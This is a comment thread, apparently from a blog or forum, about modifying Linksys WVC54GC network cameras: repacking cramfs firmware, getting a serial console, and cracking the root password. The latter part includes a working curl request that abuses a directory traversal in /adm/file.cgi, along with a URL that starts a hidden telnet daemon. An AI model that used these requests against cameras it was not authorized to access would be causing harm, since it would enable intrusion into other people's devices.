http://rapidshare.com/files/424551784/WVC54GCA.bin

So the linksys cam is actually a sercomm cam.

I suppose both gpl archives should be buildable and create a working binary that can be flashed.

Browsing through both packages, it seems to all come from cadenux, a ucLinux specialist service.
Strangly, under userland/cron/ is a file called uClinux-dist-20020220.tar.gz (combined with some txt file about it) which probably should be there, and is the cause for the 175mb binary.

Interestingly however is, that the sitecom GPL package has only left some binary object files for certain modules, gpio, led, switch etc, but the linksys version does include these files.
WiFi seems to be binary only for both unfortunatly, though personally i’d prefer a lan only version, ideally PoE.

Just some food for thought.

That would be very helpful for me.

I have the latest firmware on my WVC54GC v1.1, which says “V1.26, Feb 03, 2008″. I’ve tried to re-pack the filesystem, but no luck. First, I’ve cut the first part of the firmware file (part1) until the filesystem (fs), then the last part (part2) of it. The filesystem itself is a cramfs file of 1511424 bytes. Info: “Linux Compressed ROM File System data, little endian size 1511424 version #2 sorted_dirs CRC 0x3a60d0db, edition 0, 777 blocks, 288 files”

I’ve downloaded and compiled cramfs tools from here: http://sourceforge.net/projects/cramfs/ For the fs, cramfsck tools says: “file inode has zero size and non-zero offset”

…and it cannot extract whole of the data (just some of the files).

I’ve mounted the filesystem as a loop device, copied to another directory, then re-packed it using mkcramfs (I’ve tried it also without any modifications, just with repacking).

For the created file, file info says: “Linux Compressed ROM File System data, little endian size 1511424 version #2 sorted_dirs CRC 0x1b6023e1, edition 0, 777 blocks, 288 files” Finally, I’ve copied part1 + fs + part2 together. The file seemed to be correct, but when I’ve tried to upload it to the webcam, it said after a while: “Error: Upgrade file format error” I think the problem is the original cramfs on the device is somehow a bit modified version, or at least I don’t know what “file inode has zero size and non-zero offset” means or how can I make a suitable image for the device. Naturally, the fs begins on a different address in this firmware than the one was mentioned here. Has anybody any idea how to go on?

Happy Linuxing :-). I would be happy Hearing from you

1. Try to get a serial console on your camera. This will void any warranties that you have, because you’ll have to open it up. You’ll also need to get a suitable level convertor, to convert between the usual RS-232 at 12V, to the TTL signalling expected by the camera at 3V.

The easiest way to do this is to get a CA-42 cellphone cable, which basically provides a USB to TTL serial convertor. You’ll also need to identify the pins on the circuit board that are the serial port. Most likely you’ll find a 4 or 5 pin header, or possibly an unpopulated header (just the holes). Identify which ones are ground using a multimeter, one will probably be 3V, and the others will be RX and TX.

Once you have a console cable, you will be able to get a shell most likely, because very few manufacturers make you log in on the console.

2. An alternative is to extract the cramfs filesystem from the firmware, mount it via loopback, copy everything off it into a new directory, delete root’s password and set up the telnet daemon to start automatically, then rebuild the cramfs and the firmware. Finally, flash your rebuilt firmware onto the camera.

It should not be too difficult to figure out the firmware format, most likely it is the same as that used for the WRT54G and so forth.

The revision history told about some security fixing. They disabled the Support of “Setup Wizzard”.

A new feature is the proprietary HNAP protocol. You get a xml if you try http://IP-OF-CAM/HNAP1/. Can somebody tell the truth about security of HNAP?

Knew I should have checked the linksys website before posting. The new 1.1 firmware is now available in their support area. It is dated 15th June 2009, which I don’t think can be the date it was posted on their site, since I looked several times since then and it was not there (just the older one).

Go get it!!!!

I threw John at the password on a P3 for a week or so with no luck. It was testing 180000 combinations a second and the last passwords were fairly complex. Hence, it appears that the root password is not trivial. Even though this is a “simple” DES password, statistics show that for a good password, you need about 1000 P4s working on it for a year in order to guarantee a crack. Hence, a lot of luck is needed if using a single machine! I do wish you luck though. In the meantime, I recommend everyone who is interested in getting their cameras working better contact Linksys regularly to ask about the new firmware.

If I have some luck I will post the password.

1) parsing the strings of the ‘/adm/file.cgi’ binary using any of the directory traversal vulnerabilities I released in this post and

2) trial and error. ie: experimenting with already-known parameters processed by the ‘file.cgi’ program such as ‘todo’ (aforementioned in this post)

For instance, you can do the following with curl:

$ curl -s --url "http://192.168.1.115/adm/file.cgi?todo=pwnage&this_file=file.cgi" -u admin:C4mP4ssw0rd | strings |  grep -i telnet

Which returns:

/usr/sbin/telnetd > /dev/null 2> /dev/null &
<head><title>Open TelnetD</title></head>
<body><p><b><font size=6>Open Telnet Daemon successfully!</font></b></p></body>
inject_telnetd

Notice the last string returned (‘inject_telnetd’) which is the value that needs to be assigned to the ‘todo’ parameter in order to enable the telnet daemon.

I’m guessing there must be a neat way to obtain all parameters processed by ‘/adm/file.cgi’ by analyzing the binary. Using IDA Pro perhaps? the binary is of type ‘ELF 32-bit LSB executable, ARM, version 1′ if anyone wants to know

$ file file.cgi
file.cgi: ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped

1. try a telnet connect to the cam like this:

telnet IP-OF-CAM
Trying IP-OF-CAM…
telnet: Unable to connect to remote host: Connection refused
result: not telnetd on cam after power on – thats standard config.

2. type in that url in your browser:

http://IP-OF-CAM/adm/file.cgi?todo=inject_telnetd

you have to type in your admin account and pwd for cam-administration. You receive error:

File (null) not found

in your Browser.

Don’t care about that and don’t power down the cam.

3. try again the telnet connect from step 1

telnet IP-OF-CAM
Trying IP-OF-CAM...
Connected to IP-OF-CAM.
Escape character is '^]'.
cam login: 

Here you are and you are missing the root pwd. Every user can get the adm-pwd with your tips and every user can start the telnet demon after reading this. Nice feature. Login ist quite a problem.

Am I missing anything?

btw, my john session is still running and still no luck. not sure if gat3way managed to get anywhere with his john session?

I’ve found a way to start the telnet daemon (Firmware V1.00R24).

/adm/file.cgi?inject_telnetd

telnet cam
Trying xxx.xxx.xxx.xxx...
Connected to cam.
Escape character is '^]'.
cam login:  
Login timed out after 60 seconds.
Connection closed by foreign host.

But not the pwd? What does John say?

Greetings
Bruno